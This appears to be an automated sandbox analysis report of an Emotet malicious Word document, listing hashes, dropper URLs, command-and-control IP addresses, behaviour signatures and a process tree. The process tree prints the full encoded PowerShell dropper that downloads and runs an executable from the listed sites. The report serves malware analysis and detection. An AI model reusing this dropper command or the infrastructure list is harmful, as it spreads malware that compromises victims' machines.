Analysis
- max time kernel
137s - max time network
146s - platform
windows10_x64 - resource
win10v200722 - submitted
17/09/2020, 12:21
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_4d2275748dd3705817affba2d9a9a1eda99c5c8c05e97243b48d537c0de0bc9f_2020-09-17__122028._doc.doc
Resource
win7
General
- Target emotet_e2_4d2275748dd3705817affba2d9a9a1eda99c5c8c05e97243b48d537c0de0bc9f_2020-09-17__122028._doc.doc
- Size 172KB
- Sample200917-381khzyw3e
- SHA256 4d2275748dd3705817affba2d9a9a1eda99c5c8c05e97243b48d537c0de0bc9f
- MD5 9ae16351ea496cda1f7f3c1768818e69
- SHA1 7e82a9637f9050a5e6c3ca5d6a5bc9a0b68b0738
- SHA512 7d4d2365c63d25fdd4eece6bcd5c982df7f91e0a008ab8dd74ab8043e7132528fd899f3d64ffb7b5dea2ff1b60b18d36b97fafd1d8462c7f6fe61415db4f9f72
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://rhyton-building.com/wp-admin/Ey8qV0/
-
exe.dropper
http://ezzll.com/wp-includes/KIU2WU/
-
exe.dropper
http://tellmetech.com/wp-content/4ka/
-
exe.dropper
https://elmundodelareposteria.com/wp-admin/0PVVmJm/
-
exe.dropper
https://manuelrozas.cl/assets/XWN/
-
exe.dropper
https://haritdharni.com/wp-admin/bZM/
-
exe.dropper
https://theworks-group.com/site/pQT6j5/
Extracted
-
emotet
-
74.219.172.26:80
-
134.209.36.254:8080
-
104.156.59.7:8080
-
120.138.30.150:8080
-
194.187.133.160:443
-
104.236.246.93:8080
-
74.208.45.104:8080
-
78.187.156.31:80
-
187.161.206.24:80
-
94.23.216.33:80
-
172.91.208.86:80
-
91.211.88.52:7080
-
50.91.114.38:80
-
200.123.150.89:443
-
121.124.124.40:7080
-
62.75.141.82:80
-
5.196.74.210:8080
-
24.137.76.62:80
-
85.105.205.77:8080
-
139.130.242.43:80
-
82.225.49.121:80
-
110.145.77.103:80
-
195.251.213.56:80
-
46.105.131.79:8080
-
87.106.136.232:8080
-
75.139.38.211:80
-
124.41.215.226:80
-
203.153.216.189:7080
-
162.241.242.173:8080
-
219.74.18.66:443
-
174.45.13.118:80
-
68.188.112.97:80
-
200.114.213.233:8080
-
213.196.135.145:80
-
61.92.17.12:80
-
61.19.246.238:443
-
219.75.128.166:80
-
120.150.60.189:80
-
123.176.25.234:80
-
1.221.254.82:80
-
137.119.36.33:80
-
94.23.237.171:443
-
74.120.55.163:80
-
62.30.7.67:443
-
104.131.11.150:443
-
139.59.67.118:443
-
209.141.54.221:8080
-
79.137.83.50:443
-
84.39.182.7:80
-
97.82.79.83:80
-
87.106.139.101:8080
-
94.1.108.190:443
-
37.187.72.193:8080
-
139.162.108.71:8080
-
93.147.212.206:80
-
74.134.41.124:80
-
103.86.49.11:8080
-
75.80.124.4:80
-
109.74.5.95:8080
-
153.232.188.106:80
-
168.235.67.138:7080
-
50.35.17.13:80
-
42.200.107.142:80
-
82.80.155.43:80
-
78.24.219.147:8080
-
24.43.99.75:80
-
107.5.122.110:80
-
156.155.166.221:80
-
83.169.36.251:8080
-
47.144.21.12:443
-
79.98.24.39:8080
-
181.169.34.190:80
-
139.59.60.244:8080
-
85.152.162.105:80
-
185.94.252.104:443
-
110.5.16.198:80
-
174.102.48.180:443
-
140.186.212.146:80
-
95.179.229.244:8080
-
104.32.141.43:80
-
169.239.182.217:8080
-
121.7.127.163:80
-
94.200.114.161:80
-
201.173.217.124:443
-
104.131.44.150:8080
-
137.59.187.107:8080
-
5.39.91.110:7080
-
203.117.253.142:80
-
157.245.99.39:8080
-
176.111.60.55:8080
-
95.213.236.64:8080
-
220.245.198.194:80
-
37.139.21.175:8080
-
89.216.122.92:80
-
139.99.158.11:443
-
24.179.13.119:80
-
188.219.31.12:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3804 3372 powershell.exe 72 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3948-15-0x0000000000470000-0x0000000000482000-memory.dmp emotet behavioral2/memory/3948-15-0x0000000000470000-0x0000000000482000-memory.dmp emotet behavioral2/memory/3948-16-0x0000000000520000-0x0000000000530000-memory.dmp emotet behavioral2/memory/3948-16-0x0000000000520000-0x0000000000530000-memory.dmp emotet behavioral2/memory/2860-19-0x00000000005A0000-0x00000000005B2000-memory.dmp emotet behavioral2/memory/2860-19-0x00000000005A0000-0x00000000005B2000-memory.dmp emotet behavioral2/memory/2860-20-0x00000000005C0000-0x00000000005D0000-memory.dmp emotet behavioral2/memory/2860-20-0x00000000005C0000-0x00000000005D0000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 21 3804 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3948 Mjlzifmu.exe 2860 KBDYCC.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\iasads\KBDYCC.exe Mjlzifmu.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 408 WINWORD.EXE 408 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3804 powershell.exe 3804 powershell.exe 3804 powershell.exe 2860 KBDYCC.exe 2860 KBDYCC.exe 2860 KBDYCC.exe 2860 KBDYCC.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3804 powershell.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE 408 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3804 wrote to memory of 3948 3804 powershell.exe 80 PID 3804 wrote to memory of 3948 3804 powershell.exe 80 PID 3804 wrote to memory of 3948 3804 powershell.exe 80 PID 3948 wrote to memory of 2860 3948 Mjlzifmu.exe 81 PID 3948 wrote to memory of 2860 3948 Mjlzifmu.exe 81 PID 3948 wrote to memory of 2860 3948 Mjlzifmu.exe 81
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_4d2275748dd3705817affba2d9a9a1eda99c5c8c05e97243b48d537c0de0bc9f_2020-09-17__122028._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:408
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQBvAGYAVwBzAFUAdgBcAGwAbgB4AFkATgA2AF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBgAFUAcgBJAFQAeQBwAHIAYABvAFQATwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAsACcAKwAnACAAdAAnACsAJwBsACcAKQArACgAJwBzACcAKwAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAEYAegBnAGEAdQAwAGUAIAA9ACAAKAAnAE0AJwArACcAagBsACcAKwAoACcAegBpAGYAJwArACcAbQB1ACcAKQApADsAJABDADQAaQA5AHgANQBuAD0AKAAoACcAUgBoACcAKwAnAG0AJwApACsAJwBtACcAKwAoACcAegBxACcAKwAnAHMAJwApACkAOwAkAEQAOAA5AGkAdwB2AGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBiAEMAJwArACcAUgBVAG8AZgB3ACcAKQArACcAcwB1ACcAKwAnAHYAYgAnACsAKAAnAEMAUgBMAG4AJwArACcAeAB5ACcAKQArACcAbgA2ACcAKwAnAF8AYgAnACsAJwBDACcAKwAnAFIAJwApACAAIAAtAGMAUgBFAHAAbABhAEMAZQAoACcAYgBDACcAKwAnAFIAJwApACwAWwBjAGgAYQBSAF0AOQAyACkAKwAkAEYAegBnAGEAdQAwAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABTAHQAYQBxAG0AcgBmAD0AKAAnAEEAJwArACgAJwBnAGUAJwArACcAdAAnACkAKwAoACcAawBrACcAKwAnAHkAJwApACkAOwAkAFcAdQBiADMAbQAxAHQAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAEEAbgB6AGwAOQB1AGsAPQAoACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAcgBoACcAKwAnAHkAJwApACsAJwB0ACcAKwAnAG8AJwArACcAbgAtACcAKwAoACcAYgB1ACcAKwAnAGkAbABkACcAKQArACgAJwBpAG4AJwArACcAZwAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwAnACsAJwBFAHkAOABxAFYAJwArACcAMAAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvACcAKwAnAGUAegAnACkAKwAoACcAegBsACcAKwAnAGwAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AaQBuACcAKwAnAGMAJwApACsAJwBsAHUAJwArACgAJwBkAGUAJwArACcAcwAvAEsASQBVADIAVwBVACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwB0ACcAKwAnAGUAbAAnACkAKwAoACcAbAAnACsAJwBtAGUAJwApACsAKAAnAHQAJwArACcAZQBjACcAKQArACgAJwBoAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQAJwArACcALwA0AGsAJwApACsAJwBhACcAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AZQBsAG0AJwApACsAKAAnAHUAbgBkAG8AJwArACcAZABlAGwAJwArACcAYQByACcAKQArACgAJwBlAHAAbwBzAHQAJwArACcAZQAnACkAKwAnAHIAJwArACcAaQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvAHcAcAAnACsAJwAtACcAKQArACgAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAJwArACgAJwBuAC8AMAAnACsAJwBQAFYAJwApACsAKAAnAFYAbQBKAG0ALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AbQBhACcAKQArACgAJwBuACcAKwAnAHUAZQAnACkAKwAnAGwAJwArACgAJwByAG8AegBhACcAKwAnAHMALgBjAGwALwAnACkAKwAnAGEAJwArACgAJwBzAHMAZQAnACsAJwB0ACcAKwAnAHMAJwArACcALwBYAFcATgAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGgAJwArACgAJwBhAHIAJwArACcAaQB0AGQAaABhACcAKQArACgAJwByAG4AaQAuAGMAJwArACcAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQBpAG4ALwBiACcAKwAnAFoATQAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0ACcAKQArACcAaABlACcAKwAoACcAdwAnACsAJwBvAHIAawBzAC0AZwByAG8AdQAnACsAJwBwACcAKwAnAC4AJwArACcAYwBvAG0AJwArACcALwBzACcAKQArACgAJwBpAHQAJwArACcAZQAvAHAAUQAnACkAKwAoACcAVAAnACsAJwA2AGoAJwApACsAJwA1AC8AJwApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAZQAxAHMAbABzAHEAPQAoACcAVAB1ACcAKwAnAHoAYwAnACsAKAAnAHgAJwArACcAbAA0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUAB2AHMAZQBkAG4AMwAgAGkAbgAgACQAQQBuAHoAbAA5AHUAawApAHsAdAByAHkAewAkAFcAdQBiADMAbQAxAHQALgAiAGQATwBXAG4AYABsAG8AQQBgAEQAYABGAEkAbABFACIAKAAkAFAAdgBzAGUAZABuADMALAAgACQARAA4ADkAaQB3AHYAawApADsAJABWADcAdAB4AG0AZABfAD0AKAAnAFEAJwArACgAJwA1ADkAcQAxACcAKwAnADYAbwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABEADgAOQBpAHcAdgBrACkALgAiAEwAYABlAG4ARwBUAGgAIgAgAC0AZwBlACAAMgA4ADIANwA5ACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEQAOAA5AGkAdwB2AGsAKQA7ACQATABqAHUAMQBfAHMAaAA9ACgAJwBJACcAKwAoACcAMQA0ACcAKwAnADQAJwApACsAKAAnAGQAJwArACcANAB6ACcAKQApADsAYgByAGUAYQBrADsAJABIAHoAcAAzAGEAdQBfAD0AKAAoACcAQwA3ACcAKwAnAHMAdQAnACkAKwAoACcAYQAwACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAcwBnAGMAaQBlADYAPQAoACgAJwBIAHYAJwArACcAXwBvACcAKQArACcAZwA1ACcAKwAnAHQAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe"C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Windows\SysWOW64\iasads\KBDYCC.exe"C:\Windows\SysWOW64\iasads\KBDYCC.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2860
-
-